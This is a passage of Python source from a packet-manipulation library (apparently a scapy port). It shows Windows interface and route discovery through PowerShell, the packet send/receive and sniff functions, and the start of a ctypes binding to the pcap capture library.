LOOPBACK_NAME="lo0" WINDOWS = True def _where(filename, dirs=[], env="PATH"): """Find file in current dir or system path""" if not isinstance(dirs, list): dirs = [dirs] if glob(filename): return filename paths = [os.curdir] + os.environ[env].split(os.path.pathsep) + dirs for path in paths: for match in glob(os.path.join(path, filename)): if match: return os.path.normpath(match) raise IOError("File not found: %s" % filename) def win_find_exe(filename, installsubdir=None, env="ProgramFiles"): """Find executable in current dir, system path or given ProgramFiles subdir""" for fn in [filename, filename+".exe"]: try: if installsubdir is None: path = _where(fn) else: path = _where(fn, dirs=[os.path.join(os.environ[env], installsubdir)]) except IOError: path = filename else: break return path class WinProgPath(ConfClass): _default = "" # We try some magic to find the appropriate executables pdfreader = win_find_exe("AcroRd32") psreader = win_find_exe("gsview32.exe", "Ghostgum/gsview") dot = win_find_exe("dot", "ATT/Graphviz/bin") tcpdump = win_find_exe("windump") tcpreplay = win_find_exe("tcpreplay") display = _default hexedit = win_find_exe("hexer") wireshark = win_find_exe("wireshark", "wireshark") conf.prog = WinProgPath() class PcapNameNotFoundError(Scapy_Exception): pass def get_windows_if_list(): # Windows 8+ way: ps = sp.Popen(['powershell', 'Get-NetAdapter', '|', 'select Name, InterfaceIndex, InterfaceDescription, InterfaceGuid, MacAddress', '|', 'fl'], stdout = sp.PIPE, universal_newlines = True) ps = sp.Popen(['powershell', '-NoProfile', 'Get-WMIObject -class Win32_NetworkAdapter', '|', 'select Name, @{Name="InterfaceIndex";Expression={$_.InterfaceIndex}}, @{Name="InterfaceDescription";Expression={$_.Description}},@{Name="InterfaceGuid";Expression={$_.GUID}}, @{Name="MacAddress";Expression={$_.MacAddress.Replace(":","-")}} | where InterfaceGuid -ne $null', '|', 'fl'], stdout = sp.PIPE, universal_newlines = True) stdout, stdin = ps.communicate(timeout = 10) current_interface = None interface_list = [] for i in stdout.split('\n'): if not i.strip(): continue if i.find(':')<0: continue name, value = [ j.strip() for j in i.split(':') ] if name == 'Name': if current_interface: interface_list.append(current_interface) current_interface = {} current_interface['name'] = value elif name == 'InterfaceIndex': current_interface['win_index'] = int(value) elif name == 'InterfaceDescription': current_interface['description'] = value elif name == 'InterfaceGuid': current_interface['guid'] = value elif name == 'MacAddress': current_interface['mac'] = ':'.join([ j for j in value.split('-')]) if current_interface: interface_list.append(current_interface) interface_list.append({'name': LOOPBACK_NAME, 'win_index': 1, 'description': LOOPBACK_NAME, 'guid': '', 'mac': ''}) return interface_list class NetworkInterface(object): """A network interface of your local host""" def __init__(self, data=None): self.name = None self.ip = None self.mac = None self.pcap_name = None self.description = None self.data = data if data["name"] == LOOPBACK_NAME: self.init_loopback(data) elif data is not None: self.update(data) def init_loopback(self, data): """Just initialize the object for our Pseudo Loopback""" self.name = data["name"] self.description = data['description'] self.win_index = data['win_index'] self.mac = data["mac"] self.guid = data["guid"] self.ip = "127.0.0.1" def update(self, data): """Update info about network interface according to given dnet dictionary""" self.name = data["name"] self.description = data['description'] self.win_index = data['win_index'] # Other attributes are optional if conf.use_winpcapy: self._update_pcapdata() try: self.ip = socket.inet_ntoa(get_if_raw_addr(data['guid'])) except (KeyError, AttributeError, NameError): pass try: self.mac = data['mac'] except KeyError: pass def _update_pcapdata(self): for i in winpcapy_get_if_list(): if i.endswith(self.data['guid']): self.pcap_name = i return raise PcapNameNotFoundError def __repr__(self): return "<%s: %s %s %s pcap_name=%s description=%s>" % (self.__class__.__name__, self.name, self.ip, self.mac, self.pcap_name, self.description) from collections import UserDict class NetworkInterfaceDict(UserDict): """Store information about network interfaces and convert between names""" def load_from_powershell(self): for i in get_windows_if_list(): try: interface = NetworkInterface(i) self.data[interface.name] = interface except (KeyError, PcapNameNotFoundError): pass if len(self.data) == 0: log_loading.warning("No match between your pcap and windows network interfaces found. " "You probably won't be able to send packets. " "Deactivating unneeded interfaces and restarting Scapy might help." "Check your winpcap and powershell installation, and access rights.") def pcap_name(self, devname): """Return pcap device name for given Windows device name.""" try: pcap_name = self.data[devname].pcap_name except KeyError: raise ValueError("Unknown network interface %r" % devname) else: return pcap_name def devname(self, pcap_name): """Return Windows device name for given pcap device name.""" for devname, iface in self.items(): if iface.pcap_name == pcap_name: return iface.name raise ValueError("Unknown pypcap network interface %r" % pcap_name) def devname_from_index(self, if_index): """Return interface name from interface index""" for devname, iface in self.items(): if iface.win_index == if_index: return iface.name raise ValueError("Unknown network interface index %r" % if_index) def show(self, resolve_mac=True): """Print list of available network interfaces in human readable form""" print("%s %s %s %s" % ("INDEX".ljust(5), "IFACE".ljust(35), "IP".ljust(15), "MAC")) for iface_name in sorted(self.data.keys()): dev = self.data[iface_name] mac = dev.mac if resolve_mac and iface_name != LOOPBACK_NAME: mac = conf.manufdb._resolve_MAC(mac) print("%s %s %s %s" % (str(dev.win_index).ljust(5), str(dev.name).ljust(35), str(dev.ip).ljust(15), mac) ) ifaces = NetworkInterfaceDict() ifaces.load_from_powershell() def pcap_name(devname): """Return pypcap device name for given libdnet/Scapy device name""" try: pcap_name = ifaces.pcap_name(devname) except ValueError: # pcap.pcap() will choose a sensible default for sniffing if iface=None pcap_name = None return pcap_name def devname(pcap_name): """Return libdnet/Scapy device name for given pypcap device name""" return ifaces.devname(pcap_name) def devname_from_index(if_index): """Return Windows adapter name for given Windows interface index""" return ifaces.devname_from_index(if_index) def show_interfaces(resolve_mac=True): """Print list of available network interfaces""" return ifaces.show(resolve_mac) try: _orig_open_pcap = pcapdnet.open_pcap pcapdnet.open_pcap = lambda iface,*args,**kargs: _orig_open_pcap(pcap_name(iface),*args,**kargs) except AttributeError: pass _orig_get_if_raw_hwaddr = pcapdnet.get_if_raw_hwaddr pcapdnet.get_if_raw_hwaddr = lambda iface,*args,**kargs: [ int(i, 16) for i in ifaces[iface].mac.split(':') ] get_if_raw_hwaddr = pcapdnet.get_if_raw_hwaddr def read_routes(): routes = [] if_index = '(\d+)' dest = '(\d+\.\d+\.\d+\.\d+)' mask = '(\d+\.\d+\.\d+\.\d+)' next_hop = '(\d+\.\d+\.\d+\.\d+)' metric_pattern = "(\d+)" delim = "\s+" # The columns are separated by whitespace netstat_line = delim.join([if_index, dest, mask, next_hop, metric_pattern]) pattern = re.compile(netstat_line) # This way works on Windows 7+ (probably as well on older Windows systems). Note the | ft in the end to keep table # format, as powershell will change from table to line based format when it has to print more than 4 columns ps = sp.Popen(['powershell', 'Get-WMIObject', 'Win32_IP4RouteTable', '|', 'select InterfaceIndex, Destination, Mask, NextHop, Metric1', '|', 'ft'], stdout = sp.PIPE, universal_newlines = True) stdout, stdin = ps.communicate(timeout = 10) for l in stdout.split('\n'): match = re.search(pattern,l) if match: try: iface = devname_from_index(int(match.group(1))) addr = ifaces[iface].ip except: continue dest = atol(match.group(2)) mask = itom(sum([len(bin(int(a)).replace("0", ""))-1 for a in match.group(3).split(".")])) gw = match.group(4) # try: # intf = pcapdnet.dnet.intf().get_dst(pcapdnet.dnet.addr(type=2, addrtxt=dest)) # except OSError: # log_loading.warning("Building Scapy's routing table: Couldn't get outgoing interface for destination %s" % dest) # continue routes.append((dest, mask, gw, iface, addr)) return routes def read_routes6(): return [] if conf.interactive_shell != 'ipython': try: __IPYTHON__ except NameError: try: import readline console = readline.GetOutputFile() except (ImportError, AttributeError): log_loading.info("Could not get readline console. Will not interpret ANSI color codes.") else: conf.readfunc = readline.rl.readline orig_stdout = sys.stdout sys.stdout = console def sndrcv(pks, pkt, timeout = 2, inter = 0, verbose=None, chainCC=0, retry=0, multi=0): if not isinstance(pkt, Gen): pkt = SetGen(pkt) if verbose is None: verbose = conf.verb debug.recv = plist.PacketList([],"Unanswered") debug.sent = plist.PacketList([],"Sent") debug.match = plist.SndRcvList([]) nbrecv=0 ans = [] # do it here to fix random fields, so that parent and child have the same all_stimuli = tobesent = [p for p in pkt] notans = len(tobesent) hsent={} for i in tobesent: h = i.hashret() if h in hsent: hsent[h].append(i) else: hsent[h] = [i] if retry < 0: retry = -retry autostop=retry else: autostop=0 while retry >= 0: found=0 if timeout < 0: timeout = None pid=1 try: if WINDOWS or pid == 0: try: try: i = 0 if verbose: print("Begin emission:") for p in tobesent: pks.send(p) i += 1 time.sleep(inter) if verbose: print("Finished to send %i packets." % i) except SystemExit: pass except KeyboardInterrupt: pass except: log_runtime.exception("--- Error sending packets") log_runtime.info("--- Error sending packets") finally: try: sent_times = [p.sent_time for p in all_stimuli if p.sent_time] except: pass if WINDOWS or pid > 0: # Timeout starts after last packet is sent (as in Unix version) if timeout: stoptime = time.time()+timeout else: stoptime = 0 remaintime = None # inmask = [pks.ins.fd] try: try: while 1: if stoptime: remaintime = stoptime-time.time() if remaintime <= 0: break r = pks.recv(MTU) if r is None: continue ok = 0 h = r.hashret() if h in hsent: hlst = hsent[h] for i in range(len(hlst)): if r.answers(hlst[i]): ans.append((hlst[i],r)) if verbose > 1: os.write(1, b"*") ok = 1 if not multi: del(hlst[i]) notans -= 1; else: if not hasattr(hlst[i], '_answered'): notans -= 1; hlst[i]._answered = 1; break if notans == 0 and not multi: break if not ok: if verbose > 1: os.write(1, b".") nbrecv += 1 if conf.debug_match: debug.recv.append(r) except KeyboardInterrupt: if chainCC: raise finally: if WINDOWS: for p,t in zip(all_stimuli, sent_times): p.sent_time = t finally: pass # remain = reduce(list.__add__, hsent.values(), []) remain = list(itertools.chain(*[ i for i in hsent.values() ])) if multi: #remain = filter(lambda p: not hasattr(p, '_answered'), remain); remain = [ p for p in remain if not hasattr(p, '_answered')] if autostop and len(remain) > 0 and len(remain) != len(tobesent): retry = autostop tobesent = remain if len(tobesent) == 0: break retry -= 1 if conf.debug_match: debug.sent=plist.PacketList(remain[:],"Sent") debug.match=plist.SndRcvList(ans[:]) #clean the ans list to delete the field _answered if (multi): for s,r in ans: if hasattr(s, '_answered'): del(s._answered) if verbose: print("\nReceived %i packets, got %i answers, remaining %i packets" % (nbrecv+len(ans), len(ans), notans)) return plist.SndRcvList(ans),plist.PacketList(remain,"Unanswered") import scapy.sendrecv scapy.sendrecv.sndrcv = sndrcv def sniff(count=0, store=1, offline=None, prn = None, lfilter=None, L2socket=None, timeout=None, stop_callback=None, *arg, **karg): """Sniff packets sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets Select interface to sniff by setting conf.iface. Use show_interfaces() to see interface names. count: number of packets to capture. 0 means infinity store: wether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. Ex: ex: prn = lambda x: x.summary() lfilter: python function applied to each packet to determine if further action may be done ex: lfilter = lambda x: x.haslayer(Padding) offline: pcap file to read packets from, instead of sniffing them timeout: stop sniffing after a given time (default: None) L2socket: use the provided L2socket stop_callback: Call every loop to determine if we need to stop the capture """ c = 0 if offline is None: log_runtime.info('Sniffing on %s' % conf.iface) if L2socket is None: L2socket = conf.L2listen s = L2socket(type=ETH_P_ALL, *arg, **karg) else: s = PcapReader(offline) lst = [] if timeout is not None: stoptime = time.time()+timeout remain = None while 1: try: if timeout is not None: remain = stoptime-time.time() if remain <= 0: break if stop_callback and stop_callback(): break try: p = s.recv(MTU) except PcapTimeoutElapsed: continue if p is None: break if lfilter and not lfilter(p): continue if store: lst.append(p) c += 1 if prn: r = prn(p) if r is not None: print(r) if count > 0 and c >= count: break except KeyboardInterrupt: break s.close() return plist.PacketList(lst,"Sniffed") import scapy.sendrecv scapy.sendrecv.sniff = sniff # def get_if_list(): # print('windows if_list') # return sorted(ifaces.keys()) def get_working_if(): try: # Try to return the interface that is used for the default route (0.0.0.0) and set it as default return conf.route.route("0.0.0.0")[0] except: if len(ifaces) > 0: return ifaces[list(ifaces.keys())[0]].name else: log_runtime.exception("--- No interface found to send data on") return LOOPBACK_NAME conf.iface = get_working_if() scapy-0.23/scapy/arch/winpcapy.py000066400000000000000000000677611320561231000170270ustar00rootroot00000000000000#------------------------------------------------------------------------------- # Name: winpcapy.py # # Author: Massimo Ciani # # Created: 01/09/2009 # Copyright: (c) Massimo Ciani 2009 # #------------------------------------------------------------------------------- from ctypes import * from ctypes.util import find_library import sys WIN32=False HAVE_REMOTE=False if sys.platform.startswith('win'): WIN32=True HAVE_REMOTE=True if WIN32: SOCKET = c_uint _lib=CDLL('wpcap.dll') else: SOCKET = c_int _lib_name = find_library('pcap') if not _lib_name: raise OSError("Cannot fine libpcap.so library") _lib=CDLL(_lib_name) ## ## misc ## u_short = c_ushort bpf_int32 = c_int u_int = c_int bpf_u_int32 = u_int pcap = c_void_p pcap_dumper = c_void_p u_char = c_ubyte FILE = c_void_p STRING = c_char_p class bpf_insn(Structure): _fields_=[("code",c_ushort), ("jt",c_ubyte), ("jf",c_ubyte), ("k",bpf_u_int32)] class bpf_program(Structure): pass bpf_program._fields_ = [('bf_len', u_int), ('bf_insns', POINTER(bpf_insn))] class bpf_version(Structure): _fields_=[("bv_major",c_ushort), ("bv_minor",c_ushort)] class timeval(Structure): pass timeval._fields_ = [('tv_sec', c_long), ('tv_usec', c_long)] ## sockaddr is used by pcap_addr. ## For exapmle if sa_family==socket.AF_INET then we need cast ## with sockaddr_in if WIN32: class sockaddr(Structure): _fields_ = [("sa_family", c_ushort), ("sa_data",c_ubyte * 14)] class sockaddr_in(Structure): _fields_ = [("sin_family", c_ushort), ("sin_port", c_uint16), ("sin_addr", 4 * c_ubyte)] class sockaddr_in6(Structure): _fields_ = [("sin6_family", c_ushort), ("sin6_port", c_uint16), ("sin6_flowinfo", c_uint32), ("sin6_addr", 16 * c_ubyte), ("sin6_scope", c_uint32)] else: class sockaddr(Structure): _fields_ = [("sa_len", c_ubyte), ("sa_family",c_ubyte), ("sa_data",c_ubyte * 14)] class sockaddr_in(Structure): _fields_ = [("sin_len", c_ubyte), ("sin_family", c_ubyte), ("sin_port", c_uint16), ("sin_addr", 4 * c_ubyte), ("sin_zero", 8 * c_char)] class sockaddr_in6(Structure): _fields_ = [("sin6_len", c_ubyte), ("sin6_family", c_ubyte), ("sin6_port", c_uint16), ("sin6_flowinfo", c_uint32), ("sin6_addr", 16 * c_ubyte), ("sin6_scope", c_uint32)] class sockaddr_dl(Structure): _fields_ = [("sdl_len", c_ubyte), ("sdl_family", c_ubyte), ("sdl_index", c_ushort), ("sdl_type", c_ubyte), ("sdl_nlen", c_ubyte), ("sdl_alen", c_ubyte), ("sdl_slen", c_ubyte), ("sdl_data", 46 * c_ubyte)] ## ## END misc ## ## ## Data Structures ## ## struct pcap_file_header ## Header of a libpcap dump file. class pcap_file_header(Structure): _fields_ = [('magic', bpf_u_int32), ('version_major', u_short), ('version_minor', u_short), ('thiszone', bpf_int32), ('sigfigs', bpf_u_int32), ('snaplen', bpf_u_int32), ('linktype', bpf_u_int32)] ## struct pcap_pkthdr ## Header of a packet in the dump file. class pcap_pkthdr(Structure): _fields_ = [('ts', timeval), ('caplen', bpf_u_int32), ('len', bpf_u_int32)] ## struct pcap_stat ## Structure that keeps statistical values on an interface. class pcap_stat(Structure): pass ### _fields_ list in Structure is final. ### We need a temp list _tmpList=[] _tmpList.append(("ps_recv",c_uint)) _tmpList.append(("ps_drop",c_uint)) _tmpList.append(("ps_ifdrop",c_uint)) if HAVE_REMOTE: _tmpList.append(("ps_capt",c_uint)) _tmpList.append(("ps_sent",c_uint)) _tmpList.append(("ps_netdrop",c_uint)) pcap_stat._fields_=_tmpList ## struct pcap_addr ## Representation of an interface address, used by pcap_findalldevs(). class pcap_addr(Structure): pass pcap_addr._fields_ = [('next', POINTER(pcap_addr)), ('addr', POINTER(sockaddr)), ('netmask', POINTER(sockaddr)), ('broadaddr', POINTER(sockaddr)), ('dstaddr', POINTER(sockaddr))] ## struct pcap_if ## Item in a list of interfaces, used by pcap_findalldevs(). class pcap_if(Structure): pass pcap_if._fields_ = [('next', POINTER(pcap_if)), ('name', STRING), ('description', STRING), ('addresses', POINTER(pcap_addr)), ('flags', bpf_u_int32)] ## ## END Data Structures ## ## ## Defines ## ##define PCAP_VERSION_MAJOR 2 # Major libpcap dump file version. PCAP_VERSION_MAJOR = 2 ##define PCAP_VERSION_MINOR 4 # Minor libpcap dump file version. PCAP_VERSION_MINOR = 4 ##define PCAP_ERRBUF_SIZE 256 # Size to use when allocating the buffer that contains the libpcap errors. PCAP_ERRBUF_SIZE = 256 ##define PCAP_IF_LOOPBACK 0x00000001 # interface is loopback PCAP_IF_LOOPBACK = 1 ##define MODE_CAPT 0 # Capture mode, to be used when calling pcap_setmode(). MODE_CAPT = 0 ##define MODE_STAT 1 # Statistical mode, to be used when calling pcap_setmode(). MODE_STAT = 1 ## ## END Defines ## ## ## Typedefs ## #typedef int bpf_int32 (already defined) # 32-bit integer #typedef u_int bpf_u_int32 (already defined) # 32-bit unsigned integer #typedef struct pcap pcap_t # Descriptor of an open capture instance. This structure is opaque to the user, that handles its content through the functions provided by wpcap.dll. pcap_t = pcap #typedef struct pcap_dumper pcap_dumper_t # libpcap savefile descriptor. pcap_dumper_t = pcap_dumper #typedef struct pcap_if pcap_if_t # Item in a list of interfaces, see pcap_if. pcap_if_t = pcap_if #typedef struct pcap_addr pcap_addr_t # Representation of an interface address, see pcap_addr. pcap_addr_t = pcap_addr ## ## END Typedefs ## # values for enumeration 'pcap_direction_t' #pcap_direction_t = c_int # enum ## ## Unix-compatible Functions ## These functions are part of the libpcap library, and therefore work both on Windows and on Linux. ## #typedef void(* pcap_handler )(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) # Prototype of the callback function that receives the packets. ## This one is defined from programmer pcap_handler=CFUNCTYPE(None,POINTER(c_ubyte),POINTER(pcap_pkthdr),POINTER(c_ubyte)) #pcap_t * pcap_open_live (const char *device, int snaplen, int promisc, int to_ms, char *ebuf) # Open a live capture from the network. pcap_open_live = _lib.pcap_open_live pcap_open_live.restype = POINTER(pcap_t) pcap_open_live.argtypes = [STRING, c_int, c_int, c_int, STRING] #pcap_t * pcap_open_dead (int linktype, int snaplen) # Create a pcap_t structure without starting a capture. pcap_open_dead = _lib.pcap_open_dead pcap_open_dead.restype = POINTER(pcap_t) pcap_open_dead.argtypes = [c_int, c_int] #pcap_t * pcap_open_offline (const char *fname, char *errbuf) # Open a savefile in the tcpdump/libpcap format to read packets. pcap_open_offline = _lib.pcap_open_offline pcap_open_offline.restype = POINTER(pcap_t) pcap_open_offline.argtypes = [STRING, STRING] #pcap_dumper_t * pcap_dump_open (pcap_t *p, const char *fname) # Open a file to write packets. pcap_dump_open = _lib.pcap_dump_open pcap_dump_open.restype = POINTER(pcap_dumper_t) pcap_dump_open.argtypes = [POINTER(pcap_t), STRING] #int pcap_setnonblock (pcap_t *p, int nonblock, char *errbuf) # Switch between blocking and nonblocking mode. pcap_setnonblock = _lib.pcap_setnonblock pcap_setnonblock.restype = c_int pcap_setnonblock.argtypes = [POINTER(pcap_t), c_int, STRING] #int pcap_getnonblock (pcap_t *p, char *errbuf) # Get the "non-blocking" state of an interface. pcap_getnonblock = _lib.pcap_getnonblock pcap_getnonblock.restype = c_int pcap_getnonblock.argtypes = [POINTER(pcap_t), STRING] #int pcap_findalldevs (pcap_if_t **alldevsp, char *errbuf) # Construct a list of network devices that can be opened with pcap_open_live(). pcap_findalldevs = _lib.pcap_findalldevs pcap_findalldevs.restype = c_int pcap_findalldevs.argtypes = [POINTER(POINTER(pcap_if_t)), STRING] #void pcap_freealldevs (pcap_if_t *alldevsp) # Free an interface list returned by pcap_findalldevs(). pcap_freealldevs = _lib.pcap_freealldevs pcap_freealldevs.restype = None pcap_freealldevs.argtypes = [POINTER(pcap_if_t)] #char * pcap_lookupdev (char *errbuf) # Return the first valid device in the system. pcap_lookupdev = _lib.pcap_lookupdev pcap_lookupdev.restype = STRING pcap_lookupdev.argtypes = [STRING] #int pcap_lookupnet (const char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf) # Return the subnet and netmask of an interface. pcap_lookupnet = _lib.pcap_lookupnet pcap_lookupnet.restype = c_int pcap_lookupnet.argtypes = [STRING, POINTER(bpf_u_int32), POINTER(bpf_u_int32), STRING] #int pcap_dispatch (pcap_t *p, int cnt, pcap_handler callback, u_char *user) # Collect a group of packets. pcap_dispatch = _lib.pcap_dispatch pcap_dispatch.restype = c_int pcap_dispatch.argtypes = [POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char)] #int pcap_loop (pcap_t *p, int cnt, pcap_handler callback, u_char *user) # Collect a group of packets. pcap_loop = _lib.pcap_loop pcap_loop.restype = c_int pcap_loop.argtypes = [POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char)] #u_char * pcap_next (pcap_t *p, struct pcap_pkthdr *h) # Return the next available packet. pcap_next = _lib.pcap_next pcap_next.restype = POINTER(u_char) pcap_next.argtypes = [POINTER(pcap_t), POINTER(pcap_pkthdr)] #int pcap_next_ex (pcap_t *p, struct pcap_pkthdr **pkt_header, const u_char **pkt_data) # Read a packet from an interface or from an offline capture. pcap_next_ex = _lib.pcap_next_ex pcap_next_ex.restype = c_int pcap_next_ex.argtypes = [POINTER(pcap_t), POINTER(POINTER(pcap_pkthdr)), POINTER(POINTER(u_char))] #void pcap_breakloop (pcap_t *) # set a flag that will force pcap_dispatch() or pcap_loop() to return rather than looping. pcap_breakloop = _lib.pcap_breakloop pcap_breakloop.restype = None pcap_breakloop.argtypes = [POINTER(pcap_t)] #int pcap_sendpacket (pcap_t *p, u_char *buf, int size) # Send a raw packet. pcap_sendpacket = _lib.pcap_sendpacket pcap_sendpacket.restype = c_int #pcap_sendpacket.argtypes = [POINTER(pcap_t), POINTER(u_char), c_int] pcap_sendpacket.argtypes = [POINTER(pcap_t), c_void_p, c_int] #void pcap_dump (u_char *user, const struct pcap_pkthdr *h, const u_char *sp) # Save a packet to disk. pcap_dump = _lib.pcap_dump pcap_dump.restype = None pcap_dump.argtypes = [POINTER(pcap_dumper_t), POINTER(pcap_pkthdr), POINTER(u_char)] #long pcap_dump_ftell (pcap_dumper_t *) # Return the file position for a "savefile". pcap_dump_ftell = _lib.pcap_dump_ftell pcap_dump_ftell.restype = c_long pcap_dump_ftell.argtypes = [POINTER(pcap_dumper_t)] #int pcap_compile (pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask) # Compile a packet filter, converting an high level filtering expression (see Filtering expression syntax) in a program that can be interpreted by the kernel-level filtering engine. pcap_compile = _lib.pcap_compile pcap_compile.restype = c_int pcap_compile.argtypes = [POINTER(pcap_t), POINTER(bpf_program), STRING, c_int, bpf_u_int32] #int pcap_compile_nopcap (int snaplen_arg, int linktype_arg, struct bpf_program *program, char *buf, int optimize, bpf_u_int32 mask) # Compile a packet filter without the need of opening an adapter. This function converts an high level filtering expression (see Filtering expression syntax) in a program that can be interpreted by the kernel-level filtering engine. pcap_compile_nopcap = _lib.pcap_compile_nopcap pcap_compile_nopcap.restype = c_int pcap_compile_nopcap.argtypes = [c_int, c_int, POINTER(bpf_program), STRING, c_int, bpf_u_int32] #int pcap_setfilter (pcap_t *p, struct bpf_program *fp) # Associate a filter to a capture. pcap_setfilter = _lib.pcap_setfilter pcap_setfilter.restype = c_int pcap_setfilter.argtypes = [POINTER(pcap_t), POINTER(bpf_program)] #void pcap_freecode (struct bpf_program *fp) # Free a filter. pcap_freecode = _lib.pcap_freecode pcap_freecode.restype = None pcap_freecode.argtypes = [POINTER(bpf_program)] #int pcap_datalink (pcap_t *p) # Return the link layer of an adapter. pcap_datalink = _lib.pcap_datalink pcap_datalink.restype = c_int pcap_datalink.argtypes = [POINTER(pcap_t)] #int pcap_list_datalinks (pcap_t *p, int **dlt_buf) # list datalinks pcap_list_datalinks = _lib.pcap_list_datalinks pcap_list_datalinks.restype = c_int #pcap_list_datalinks.argtypes = [POINTER(pcap_t), POINTER(POINTER(c_int))] #int pcap_set_datalink (pcap_t *p, int dlt) # Set the current data link type of the pcap descriptor to the type specified by dlt. -1 is returned on failure. pcap_set_datalink = _lib.pcap_set_datalink pcap_set_datalink.restype = c_int pcap_set_datalink.argtypes = [POINTER(pcap_t), c_int] #int pcap_datalink_name_to_val (const char *name) # Translates a data link type name, which is a DLT_ name with the DLT_ removed, to the corresponding data link type value. The translation is case-insensitive. -1 is returned on failure. pcap_datalink_name_to_val = _lib.pcap_datalink_name_to_val pcap_datalink_name_to_val.restype = c_int pcap_datalink_name_to_val.argtypes = [STRING] #const char * pcap_datalink_val_to_name (int dlt) # Translates a data link type value to the corresponding data link type name. NULL is returned on failure. pcap_datalink_val_to_name = _lib.pcap_datalink_val_to_name pcap_datalink_val_to_name.restype = STRING pcap_datalink_val_to_name.argtypes = [c_int] #const char * pcap_datalink_val_to_description (int dlt) # Translates a data link type value to a short description of that data link type. NULL is returned on failure. pcap_datalink_val_to_description = _lib.pcap_datalink_val_to_description pcap_datalink_val_to_description.restype = STRING pcap_datalink_val_to_description.argtypes = [c_int] #int pcap_snapshot (pcap_t *p) # Return the dimension of the packet portion (in bytes) that is delivered to the application. pcap_snapshot = _lib.pcap_snapshot pcap_snapshot.restype = c_int pcap_snapshot.argtypes = [POINTER(pcap_t)] #int pcap_is_swapped (pcap_t *p) # returns true if the current savefile uses a different byte order than the current system. pcap_is_swapped = _lib.pcap_is_swapped pcap_is_swapped.restype = c_int pcap_is_swapped.argtypes = [POINTER(pcap_t)] #int pcap_major_version (pcap_t *p) # return the major version number of the pcap library used to write the savefile. pcap_major_version = _lib.pcap_major_version pcap_major_version.restype = c_int pcap_major_version.argtypes = [POINTER(pcap_t)] #int pcap_minor_version (pcap_t *p) # return the minor version number of the pcap library used to write the savefile. pcap_minor_version = _lib.pcap_minor_version pcap_minor_version.restype = c_int pcap_minor_version.argtypes = [POINTER(pcap_t)] #FILE * pcap_file (pcap_t *p) # Return the standard stream of an offline capture. pcap_file=_lib.pcap_file pcap_file.restype = FILE pcap_file.argtypes = [POINTER(pcap_t)] #int pcap_stats (pcap_t *p, struct pcap_stat *ps) # Return statistics on current capture. pcap_stats = _lib.pcap_stats pcap_stats.restype = c_int pcap_stats.argtypes = [POINTER(pcap_t), POINTER(pcap_stat)] #void pcap_perror (pcap_t *p, char *prefix) # print the text of the last pcap library error on stderr, prefixed by prefix. pcap_perror = _lib.pcap_perror pcap_perror.restype = None pcap_perror.argtypes = [POINTER(pcap_t), STRING] #char * pcap_geterr (pcap_t *p) # return the error text pertaining to the last pcap library error. pcap_geterr = _lib.pcap_geterr pcap_geterr.restype = STRING pcap_geterr.argtypes = [POINTER(pcap_t)] #char * pcap_strerror (int error) # Provided in case strerror() isn't available. pcap_strerror = _lib.pcap_strerror pcap_strerror.restype = STRING pcap_strerror.argtypes = [c_int] #const char * pcap_lib_version (void) # Returns a pointer to a string giving information about the version of the libpcap library being used; note that it contains more information than just a version number. pcap_lib_version = _lib.pcap_lib_version pcap_lib_version.restype = STRING pcap_lib_version.argtypes = [] #void pcap_close (pcap_t *p) # close the files associated with p and deallocates resources. pcap_close = _lib.pcap_close pcap_close.restype = None pcap_close.argtypes = [POINTER(pcap_t)] #FILE * pcap_dump_file (pcap_dumper_t *p) # return the standard I/O stream of the 'savefile' opened by pcap_dump_open(). pcap_dump_file=_lib.pcap_dump_file pcap_dump_file.restype=FILE pcap_dump_file.argtypes= [POINTER(pcap_dumper_t)] #int pcap_dump_flush (pcap_dumper_t *p) # Flushes the output buffer to the ``savefile,'' so that any packets written with pcap_dump() but not yet written to the ``savefile'' will be written. -1 is returned on error, 0 on success. pcap_dump_flush = _lib.pcap_dump_flush pcap_dump_flush.restype = c_int pcap_dump_flush.argtypes = [POINTER(pcap_dumper_t)] #void pcap_dump_close (pcap_dumper_t *p) # Closes a savefile. pcap_dump_close = _lib.pcap_dump_close pcap_dump_close.restype = None pcap_dump_close.argtypes = [POINTER(pcap_dumper_t)] if not WIN32: pcap_get_selectable_fd = _lib.pcap_get_selectable_fd pcap_get_selectable_fd.restype = c_int pcap_get_selectable_fd.argtypes = [POINTER(pcap_t)] ########################################### ## Windows-specific Extensions ## The functions in this section extend libpcap to offer advanced functionalities ## (like remote packet capture, packet buffer size variation or high-precision packet injection). ## Howerver, at the moment they can be used only in Windows. ########################################### if WIN32: HANDLE = c_void_p ############## ## Identifiers related to the new source syntax ############## #define PCAP_SRC_FILE 2 #define PCAP_SRC_IFLOCAL 3 #define PCAP_SRC_IFREMOTE 4 #Internal representation of the type of source in use (file, remote/local interface). PCAP_SRC_FILE = 2 PCAP_SRC_IFLOCAL = 3 PCAP_SRC_IFREMOTE = 4 ############## ## Strings related to the new source syntax ############## #define PCAP_SRC_FILE_STRING "file://" #define PCAP_SRC_IF_STRING "rpcap://" #String that will be used to determine the type of source in use (file, remote/local interface). PCAP_SRC_FILE_STRING="file://" PCAP_SRC_IF_STRING="rpcap://" ############## ## Flags defined in the pcap_open() function ############## # define PCAP_OPENFLAG_PROMISCUOUS 1 # Defines if the adapter has to go in promiscuous mode. PCAP_OPENFLAG_PROMISCUOUS=1 # define PCAP_OPENFLAG_DATATX_UDP 2 # Defines if the data trasfer (in case of a remote capture) has to be done with UDP protocol. PCAP_OPENFLAG_DATATX_UDP=2 # define PCAP_OPENFLAG_NOCAPTURE_RPCAP 4 PCAP_OPENFLAG_NOCAPTURE_RPCAP=4 # Defines if the remote probe will capture its own generated traffic. # define PCAP_OPENFLAG_NOCAPTURE_LOCAL 8 PCAP_OPENFLAG_NOCAPTURE_LOCAL = 8 # define PCAP_OPENFLAG_MAX_RESPONSIVENESS 16 # This flag configures the adapter for maximum responsiveness. PCAP_OPENFLAG_MAX_RESPONSIVENESS=16 ############## ## Sampling methods defined in the pcap_setsampling() function ############## # define PCAP_SAMP_NOSAMP 0 # No sampling has to be done on the current capture. PCAP_SAMP_NOSAMP=0 # define PCAP_SAMP_1_EVERY_N 1 # It defines that only 1 out of N packets must be returned to the user. PCAP_SAMP_1_EVERY_N=1 #define 